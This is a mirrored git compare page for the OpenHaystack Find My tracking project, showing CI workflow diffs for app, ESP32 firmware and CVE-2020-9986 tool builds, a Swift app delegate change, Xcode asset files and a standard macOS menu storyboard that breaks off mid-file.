mirror of
https://github.com/seemoo-lab/openhaystack.git
synced 2026-02-16 10:39:52 +00:00
Compare commits
46 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
e7a6135d95 | ||
|
|
9406f817f3 | ||
|
|
ab1c3eb83a | ||
|
|
b56aa1faa7 | ||
|
|
dda406b3d7 | ||
|
|
1c6ef9f0e1 | ||
|
|
470dd1192d | ||
|
|
3ede0e1981 | ||
|
|
5d5ea30b52 | ||
|
|
3c84aae67d | ||
|
|
0c9997993d | ||
|
|
c3a4610b87 | ||
|
|
25dd8ac2d3 | ||
|
|
f3daa51fd1 | ||
|
|
fc09091510 | ||
|
|
e8c319c0c7 | ||
|
|
087f780410 | ||
|
|
a68448a25c | ||
|
|
599b604fa9 | ||
|
|
c57b4c9545 | ||
|
|
fab6cf8b55 | ||
|
|
df917a7e64 | ||
|
|
f7d9a17587 | ||
|
|
cbb85d97d0 | ||
|
|
d3b72de00c | ||
|
|
6116000977 | ||
|
|
48897cd890 | ||
|
|
da302c7b0c | ||
|
|
898563ca0b | ||
|
|
f88663f5e7 | ||
|
|
6665309150 | ||
|
|
b6d7e61099 | ||
|
|
8b94a2aecf | ||
|
|
8127628ea5 | ||
|
|
036b99c2bd | ||
|
|
a4ca840f12 | ||
|
|
bebfc6571e | ||
|
|
c52689d915 | ||
|
|
da9f25217a | ||
|
|
dd793bb014 | ||
|
|
cb645a1a38 | ||
|
|
bc79494d7c | ||
|
|
966ca39cb5 | ||
|
|
a7affbc939 | ||
|
|
083882a591 | ||
|
|
50f63c8830 |
38
.github/actions/build-esp-idf/action.yaml
vendored
Normal file
38
.github/actions/build-esp-idf/action.yaml
vendored
Normal file
@@ -0,0 +1,38 @@
|
||||
name: 'Build Firmware with ESP-IDF'
|
||||
description: 'Builds a firmware for the ESP32 using the ESP-IDF'
|
||||
inputs:
|
||||
src-dir:
|
||||
description: 'Source directory for the ESP-IDF project'
|
||||
required: true
|
||||
out-dir:
|
||||
description: 'Directory to which bin files will be written'
|
||||
required: true
|
||||
app-name:
|
||||
description: 'Name of the IDF application/main binary'
|
||||
required: true
|
||||
runs:
|
||||
using: "composite"
|
||||
steps:
|
||||
- name: Prepare ESP-IDF
|
||||
shell: bash
|
||||
run: |
|
||||
sudo apt update
|
||||
sudo apt install git wget flex bison gperf python3 python3-pip python3-setuptools cmake ninja-build ccache libffi-dev libssl-dev dfu-util libusb-1.0-0
|
||||
mkdir -p /opt/esp
|
||||
cd /opt/esp
|
||||
git clone --recursive --depth 1 --branch v4.2 https://github.com/espressif/esp-idf.git
|
||||
cd /opt/esp/esp-idf
|
||||
./install.sh
|
||||
- name: Build firmware
|
||||
shell: bash
|
||||
run: |
|
||||
source /opt/esp/esp-idf/export.sh
|
||||
cd ${{ inputs.src-dir }}
|
||||
idf.py build
|
||||
- name: Bundle output files
|
||||
shell: bash
|
||||
run: |
|
||||
mkdir -p "${{ inputs.out-dir }}/bootloader" "${{ inputs.out-dir }}/partition_table"
|
||||
cp "${{ inputs.src-dir }}/build/bootloader/bootloader.bin" "${{ inputs.out-dir }}/bootloader/bootloader.bin"
|
||||
cp "${{ inputs.src-dir }}/build/partition_table/partition-table.bin" "${{ inputs.out-dir }}/partition_table/partition-table.bin"
|
||||
cp "${{ inputs.src-dir }}/build/${{ inputs.app-name }}.bin" "${{ inputs.out-dir }}/${{ inputs.app-name }}.bin"
|
||||
38
.github/workflows/build-app.yml
vendored
38
.github/workflows/build-app.yml
vendored
@@ -3,27 +3,45 @@ name: "Build application"
|
||||
on:
|
||||
push:
|
||||
branches: [ main ]
|
||||
paths:
|
||||
- OpenHaystack/**
|
||||
pull_request:
|
||||
branches: [ main ]
|
||||
paths:
|
||||
- OpenHaystack/**
|
||||
|
||||
env:
|
||||
APP: OpenHaystack
|
||||
defaults:
|
||||
run:
|
||||
working-directory: OpenHaystack
|
||||
|
||||
jobs:
|
||||
lint-swiftlint:
|
||||
format-swift:
|
||||
runs-on: macos-latest
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
- name: "Run SwiftLint"
|
||||
run: swiftlint --reporter github-actions-logging
|
||||
- name: "Install swift-format"
|
||||
run: brew install swift-format
|
||||
- name: "Run swift-format"
|
||||
run: swift-format --recursive --mode lint .
|
||||
|
||||
format-objc:
|
||||
runs-on: macos-latest
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
- name: "Install clang-format"
|
||||
run: brew install clang-format
|
||||
- name: "Run clang-format"
|
||||
run: clang-format -n **/*.{h,m}
|
||||
|
||||
build-app:
|
||||
runs-on: macos-latest
|
||||
needs: lint-swiftlint
|
||||
env:
|
||||
APP: OpenHaystack
|
||||
PROJECT_DIR: OpenHaystack
|
||||
defaults:
|
||||
run:
|
||||
working-directory: ${{ env.PROJECT_DIR }}
|
||||
needs:
|
||||
- format-swift
|
||||
- format-objc
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
|
||||
54
.github/workflows/build-cve-2020-9986.yaml
vendored
Normal file
54
.github/workflows/build-cve-2020-9986.yaml
vendored
Normal file
@@ -0,0 +1,54 @@
|
||||
name: "Build CVE-2020-9986"
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ main ]
|
||||
paths:
|
||||
- CVE-2020-9986/**
|
||||
pull_request:
|
||||
branches: [ main ]
|
||||
paths:
|
||||
- CVE-2020-9986/**
|
||||
|
||||
defaults:
|
||||
run:
|
||||
working-directory: CVE-2020-9986/OFReadKeys
|
||||
|
||||
jobs:
|
||||
lint-swiftlint:
|
||||
runs-on: macos-latest
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
- name: "Run SwiftLint"
|
||||
run: swiftlint --reporter github-actions-logging
|
||||
|
||||
build-ofreadkeys:
|
||||
runs-on: macos-latest
|
||||
needs: lint-swiftlint
|
||||
env:
|
||||
APP: OFReadKeys
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
- name: "Select Xcode 12"
|
||||
uses: devbotsxyz/xcode-select@v1
|
||||
with:
|
||||
version: "12"
|
||||
- name: "Archive project"
|
||||
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
|
||||
|
||||
build-offetchreports:
|
||||
runs-on: macos-latest
|
||||
needs: lint-swiftlint
|
||||
env:
|
||||
APP: OFFetchReports
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
- name: "Select Xcode 12"
|
||||
uses: devbotsxyz/xcode-select@v1
|
||||
with:
|
||||
version: "12"
|
||||
- name: "Archive project"
|
||||
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
|
||||
28
.github/workflows/build-firmware-esp32.yaml
vendored
Normal file
28
.github/workflows/build-firmware-esp32.yaml
vendored
Normal file
@@ -0,0 +1,28 @@
|
||||
name: "Build firmware (ESP32)"
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ main ]
|
||||
paths:
|
||||
- Firmware/ESP32/**
|
||||
pull_request:
|
||||
branches: [ main ]
|
||||
paths:
|
||||
- Firmware/ESP32/**
|
||||
|
||||
jobs:
|
||||
build-firmware-esp32:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
- name: "Copy static files"
|
||||
run: |
|
||||
mkdir -p archive/build
|
||||
cp Firmware/ESP32/flash_esp32.sh archive/
|
||||
- name: "Build ESP32 firmware"
|
||||
uses: ./.github/actions/build-esp-idf
|
||||
with:
|
||||
src-dir: Firmware/ESP32
|
||||
out-dir: archive/build
|
||||
app-name: openhaystack
|
||||
6
.github/workflows/build-firmware.yaml
vendored
6
.github/workflows/build-firmware.yaml
vendored
@@ -4,15 +4,15 @@ on:
|
||||
push:
|
||||
branches: [ main ]
|
||||
paths:
|
||||
- Firmware/**
|
||||
- Firmware/Microbit_v1/**
|
||||
pull_request:
|
||||
branches: [ main ]
|
||||
paths:
|
||||
- Firmware/**
|
||||
- Firmware/Microbit_v1/**
|
||||
|
||||
defaults:
|
||||
run:
|
||||
working-directory: Firmware
|
||||
working-directory: Firmware/Microbit_v1
|
||||
|
||||
jobs:
|
||||
build-firmware:
|
||||
|
||||
29
.github/workflows/release.yml
vendored
29
.github/workflows/release.yml
vendored
@@ -6,6 +6,28 @@ on:
|
||||
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
|
||||
|
||||
jobs:
|
||||
build-firmware-esp32:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: "Checkout code"
|
||||
uses: actions/checkout@v2
|
||||
- name: "Copy static files"
|
||||
run: |
|
||||
mkdir -p archive/build
|
||||
cp Firmware/ESP32/flash_esp32.sh archive/
|
||||
- name: "Build ESP32 firmware"
|
||||
uses: ./.github/actions/build-esp-idf
|
||||
with:
|
||||
src-dir: Firmware/ESP32
|
||||
out-dir: archive/build
|
||||
app-name: openhaystack
|
||||
- name: "Create archive"
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: firmware-esp32
|
||||
path: archive/*
|
||||
retention-days: 1
|
||||
|
||||
build-and-release:
|
||||
name: "Create release on GitHub"
|
||||
runs-on: macos-latest
|
||||
@@ -15,6 +37,8 @@ jobs:
|
||||
defaults:
|
||||
run:
|
||||
working-directory: ${{ env.PROJECT_DIR }}
|
||||
needs:
|
||||
- build-firmware-esp32
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
@@ -22,6 +46,11 @@ jobs:
|
||||
uses: devbotsxyz/xcode-select@v1
|
||||
with:
|
||||
version: "12"
|
||||
- name: "Add ESP32 firmware"
|
||||
uses: actions/download-artifact@v2
|
||||
with:
|
||||
name: firmware-esp32
|
||||
path: "${{ env.PROJECT_DIR }}/OpenHaystack/HaystackApp/Firmwares/ESP32"
|
||||
- name: "Archive project"
|
||||
run: xcodebuild archive -scheme ${APP} -configuration release -archivePath ${APP}.xcarchive
|
||||
- name: "Create ZIP"
|
||||
|
||||
4
.gitmodules
vendored
4
.gitmodules
vendored
@@ -1,3 +1,3 @@
|
||||
[submodule "Firmware/blessed"]
|
||||
path = Firmware/blessed
|
||||
[submodule "Firmware/Microbit_v1/blessed"]
|
||||
path = Firmware/Microbit_v1/blessed
|
||||
url = https://github.com/pauloborges/blessed.git
|
||||
|
||||
1
.pre-commit
Executable file
1
.pre-commit
Executable file
@@ -0,0 +1 @@
|
||||
make app-autoformat
|
||||
@@ -20,8 +20,6 @@ analyzer_rules: # Rules run by `swiftlint analyze` (experimental)
|
||||
# configurable rules can be customized from this configuration file
|
||||
# binary rules can set their severity level
|
||||
force_cast: warning # implicitly
|
||||
force_try:
|
||||
severity: warning # explicitly
|
||||
# rules that have both warning and error levels, can set just the warning level
|
||||
# implicitly
|
||||
line_length: 180
|
||||
@@ -1,39 +1,33 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Cocoa
|
||||
import SwiftUI
|
||||
|
||||
@NSApplicationMain
|
||||
@main
|
||||
class AppDelegate: NSObject, NSApplicationDelegate {
|
||||
|
||||
var window: NSWindow!
|
||||
|
||||
private var mainView: some View {
|
||||
#if ACCESSORY
|
||||
if ProcessInfo().arguments.contains("-preview") {
|
||||
return OpenHaystackMainView(accessoryController: AccessoryController(accessories: PreviewData.accessories))
|
||||
}
|
||||
return OpenHaystackMainView()
|
||||
#else
|
||||
return OFFetchReportsMainView()
|
||||
#endif
|
||||
}
|
||||
|
||||
func applicationDidFinishLaunching(_ aNotification: Notification) {
|
||||
// Create the SwiftUI view that provides the window contents.
|
||||
let contentView = OFFetchReportsMainView()
|
||||
|
||||
// Create the window and set the content view.
|
||||
window = NSWindow(
|
||||
contentRect: NSRect(x: 0, y: 0, width: 750, height: 480),
|
||||
contentRect: NSRect(x: 0, y: 0, width: 480, height: 300),
|
||||
styleMask: [.titled, .closable, .miniaturizable, .resizable, .fullSizeContentView],
|
||||
backing: .buffered, defer: false)
|
||||
|
||||
window.isReleasedWhenClosed = false
|
||||
window.center()
|
||||
window.setFrameAutosaveName("Main Window")
|
||||
window.contentView = NSHostingView(rootView: mainView)
|
||||
window.contentView = NSHostingView(rootView: contentView)
|
||||
window.makeKeyAndOrderFront(nil)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
{
|
||||
"colors" : [
|
||||
{
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "1x",
|
||||
"size" : "16x16"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "2x",
|
||||
"size" : "16x16"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "1x",
|
||||
"size" : "32x32"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "2x",
|
||||
"size" : "32x32"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "1x",
|
||||
"size" : "128x128"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "2x",
|
||||
"size" : "128x128"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "1x",
|
||||
"size" : "256x256"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "2x",
|
||||
"size" : "256x256"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "1x",
|
||||
"size" : "512x512"
|
||||
},
|
||||
{
|
||||
"idiom" : "mac",
|
||||
"scale" : "2x",
|
||||
"size" : "512x512"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,683 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<document type="com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB" version="3.0" toolsVersion="14814" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES">
|
||||
<dependencies>
|
||||
<plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="14814"/>
|
||||
</dependencies>
|
||||
<scenes>
|
||||
<!--Application-->
|
||||
<scene sceneID="JPo-4y-FX3">
|
||||
<objects>
|
||||
<application id="hnw-xV-0zn" sceneMemberID="viewController">
|
||||
<menu key="mainMenu" title="Main Menu" systemMenu="main" id="AYu-sK-qS6">
|
||||
<items>
|
||||
<menuItem title="OFFetchReports" id="1Xt-HY-uBw">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="OFFetchReports" systemMenu="apple" id="uQy-DD-JDr">
|
||||
<items>
|
||||
<menuItem title="About OFFetchReports" id="5kV-Vb-QxS">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="orderFrontStandardAboutPanel:" target="Ady-hI-5gd" id="Exp-CZ-Vem"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="VOq-y0-SEH"/>
|
||||
<menuItem title="Preferences…" keyEquivalent="," id="BOF-NM-1cW"/>
|
||||
<menuItem isSeparatorItem="YES" id="wFC-TO-SCJ"/>
|
||||
<menuItem title="Services" id="NMo-om-nkz">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Services" systemMenu="services" id="hz9-B4-Xy5"/>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="4je-JR-u6R"/>
|
||||
<menuItem title="Hide OFFetchReports" keyEquivalent="h" id="Olw-nP-bQN">
|
||||
<connections>
|
||||
<action selector="hide:" target="Ady-hI-5gd" id="PnN-Uc-m68"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Hide Others" keyEquivalent="h" id="Vdr-fp-XzO">
|
||||
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
|
||||
<connections>
|
||||
<action selector="hideOtherApplications:" target="Ady-hI-5gd" id="VT4-aY-XCT"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Show All" id="Kd2-mp-pUS">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="unhideAllApplications:" target="Ady-hI-5gd" id="Dhg-Le-xox"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="kCx-OE-vgT"/>
|
||||
<menuItem title="Quit OFFetchReports" keyEquivalent="q" id="4sb-4s-VLi">
|
||||
<connections>
|
||||
<action selector="terminate:" target="Ady-hI-5gd" id="Te7-pn-YzF"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="File" id="dMs-cI-mzQ">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="File" id="bib-Uj-vzu">
|
||||
<items>
|
||||
<menuItem title="New" keyEquivalent="n" id="Was-JA-tGl">
|
||||
<connections>
|
||||
<action selector="newDocument:" target="Ady-hI-5gd" id="4Si-XN-c54"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Open…" keyEquivalent="o" id="IAo-SY-fd9">
|
||||
<connections>
|
||||
<action selector="openDocument:" target="Ady-hI-5gd" id="bVn-NM-KNZ"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Open Recent" id="tXI-mr-wws">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Open Recent" systemMenu="recentDocuments" id="oas-Oc-fiZ">
|
||||
<items>
|
||||
<menuItem title="Clear Menu" id="vNY-rz-j42">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="clearRecentDocuments:" target="Ady-hI-5gd" id="Daa-9d-B3U"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="m54-Is-iLE"/>
|
||||
<menuItem title="Close" keyEquivalent="w" id="DVo-aG-piG">
|
||||
<connections>
|
||||
<action selector="performClose:" target="Ady-hI-5gd" id="HmO-Ls-i7Q"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Save…" keyEquivalent="s" id="pxx-59-PXV">
|
||||
<connections>
|
||||
<action selector="saveDocument:" target="Ady-hI-5gd" id="teZ-XB-qJY"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Save As…" keyEquivalent="S" id="Bw7-FT-i3A">
|
||||
<connections>
|
||||
<action selector="saveDocumentAs:" target="Ady-hI-5gd" id="mDf-zr-I0C"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Revert to Saved" keyEquivalent="r" id="KaW-ft-85H">
|
||||
<connections>
|
||||
<action selector="revertDocumentToSaved:" target="Ady-hI-5gd" id="iJ3-Pv-kwq"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="aJh-i4-bef"/>
|
||||
<menuItem title="Page Setup…" keyEquivalent="P" id="qIS-W8-SiK">
|
||||
<modifierMask key="keyEquivalentModifierMask" shift="YES" command="YES"/>
|
||||
<connections>
|
||||
<action selector="runPageLayout:" target="Ady-hI-5gd" id="Din-rz-gC5"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Print…" keyEquivalent="p" id="aTl-1u-JFS">
|
||||
<connections>
|
||||
<action selector="print:" target="Ady-hI-5gd" id="qaZ-4w-aoO"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="Edit" id="5QF-Oa-p0T">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Edit" id="W48-6f-4Dl">
|
||||
<items>
|
||||
<menuItem title="Undo" keyEquivalent="z" id="dRJ-4n-Yzg">
|
||||
<connections>
|
||||
<action selector="undo:" target="Ady-hI-5gd" id="M6e-cu-g7V"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Redo" keyEquivalent="Z" id="6dh-zS-Vam">
|
||||
<connections>
|
||||
<action selector="redo:" target="Ady-hI-5gd" id="oIA-Rs-6OD"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="WRV-NI-Exz"/>
|
||||
<menuItem title="Cut" keyEquivalent="x" id="uRl-iY-unG">
|
||||
<connections>
|
||||
<action selector="cut:" target="Ady-hI-5gd" id="YJe-68-I9s"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Copy" keyEquivalent="c" id="x3v-GG-iWU">
|
||||
<connections>
|
||||
<action selector="copy:" target="Ady-hI-5gd" id="G1f-GL-Joy"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Paste" keyEquivalent="v" id="gVA-U4-sdL">
|
||||
<connections>
|
||||
<action selector="paste:" target="Ady-hI-5gd" id="UvS-8e-Qdg"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Paste and Match Style" keyEquivalent="V" id="WeT-3V-zwk">
|
||||
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
|
||||
<connections>
|
||||
<action selector="pasteAsPlainText:" target="Ady-hI-5gd" id="cEh-KX-wJQ"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Delete" id="pa3-QI-u2k">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="delete:" target="Ady-hI-5gd" id="0Mk-Ml-PaM"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Select All" keyEquivalent="a" id="Ruw-6m-B2m">
|
||||
<connections>
|
||||
<action selector="selectAll:" target="Ady-hI-5gd" id="VNm-Mi-diN"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="uyl-h8-XO2"/>
|
||||
<menuItem title="Find" id="4EN-yA-p0u">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Find" id="1b7-l0-nxx">
|
||||
<items>
|
||||
<menuItem title="Find…" tag="1" keyEquivalent="f" id="Xz5-n4-O0W">
|
||||
<connections>
|
||||
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="cD7-Qs-BN4"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Find and Replace…" tag="12" keyEquivalent="f" id="YEy-JH-Tfz">
|
||||
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
|
||||
<connections>
|
||||
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="WD3-Gg-5AJ"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Find Next" tag="2" keyEquivalent="g" id="q09-fT-Sye">
|
||||
<connections>
|
||||
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="NDo-RZ-v9R"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Find Previous" tag="3" keyEquivalent="G" id="OwM-mh-QMV">
|
||||
<connections>
|
||||
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="HOh-sY-3ay"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Use Selection for Find" tag="7" keyEquivalent="e" id="buJ-ug-pKt">
|
||||
<connections>
|
||||
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="U76-nv-p5D"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Jump to Selection" keyEquivalent="j" id="S0p-oC-mLd">
|
||||
<connections>
|
||||
<action selector="centerSelectionInVisibleArea:" target="Ady-hI-5gd" id="IOG-6D-g5B"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="Spelling and Grammar" id="Dv1-io-Yv7">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Spelling" id="3IN-sU-3Bg">
|
||||
<items>
|
||||
<menuItem title="Show Spelling and Grammar" keyEquivalent=":" id="HFo-cy-zxI">
|
||||
<connections>
|
||||
<action selector="showGuessPanel:" target="Ady-hI-5gd" id="vFj-Ks-hy3"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Check Document Now" keyEquivalent=";" id="hz2-CU-CR7">
|
||||
<connections>
|
||||
<action selector="checkSpelling:" target="Ady-hI-5gd" id="fz7-VC-reM"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="bNw-od-mp5"/>
|
||||
<menuItem title="Check Spelling While Typing" id="rbD-Rh-wIN">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="toggleContinuousSpellChecking:" target="Ady-hI-5gd" id="7w6-Qz-0kB"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Check Grammar With Spelling" id="mK6-2p-4JG">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="toggleGrammarChecking:" target="Ady-hI-5gd" id="muD-Qn-j4w"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Correct Spelling Automatically" id="78Y-hA-62v">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="toggleAutomaticSpellingCorrection:" target="Ady-hI-5gd" id="2lM-Qi-WAP"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="Substitutions" id="9ic-FL-obx">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Substitutions" id="FeM-D8-WVr">
|
||||
<items>
|
||||
<menuItem title="Show Substitutions" id="z6F-FW-3nz">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="orderFrontSubstitutionsPanel:" target="Ady-hI-5gd" id="oku-mr-iSq"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem isSeparatorItem="YES" id="gPx-C9-uUO"/>
|
||||
<menuItem title="Smart Copy/Paste" id="9yt-4B-nSM">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="toggleSmartInsertDelete:" target="Ady-hI-5gd" id="3IJ-Se-DZD"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Smart Quotes" id="hQb-2v-fYv">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="toggleAutomaticQuoteSubstitution:" target="Ady-hI-5gd" id="ptq-xd-QOA"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Smart Dashes" id="rgM-f4-ycn">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="toggleAutomaticDashSubstitution:" target="Ady-hI-5gd" id="oCt-pO-9gS"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Smart Links" id="cwL-P1-jid">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="toggleAutomaticLinkDetection:" target="Ady-hI-5gd" id="Gip-E3-Fov"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Data Detectors" id="tRr-pd-1PS">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="toggleAutomaticDataDetection:" target="Ady-hI-5gd" id="R1I-Nq-Kbl"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Text Replacement" id="HFQ-gK-NFA">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="toggleAutomaticTextReplacement:" target="Ady-hI-5gd" id="DvP-Fe-Py6"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
</items>
|
||||
</menu>
|
||||
</menuItem>
|
||||
<menuItem title="Transformations" id="2oI-Rn-ZJC">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<menu key="submenu" title="Transformations" id="c8a-y6-VQd">
|
||||
<items>
|
||||
<menuItem title="Make Upper Case" id="vmV-6d-7jI">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="uppercaseWord:" target="Ady-hI-5gd" id="sPh-Tk-edu"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Make Lower Case" id="d9M-CD-aMd">
|
||||
<modifierMask key="keyEquivalentModifierMask"/>
|
||||
<connections>
|
||||
<action selector="lowercaseWord:" target="Ady-hI-5gd" id="iUZ-b5-hil"/>
|
||||
</connections>
|
||||
</menuItem>
|
||||
<menuItem title="Capitalize" id="UEZ-Bs-lqG">
|
||||
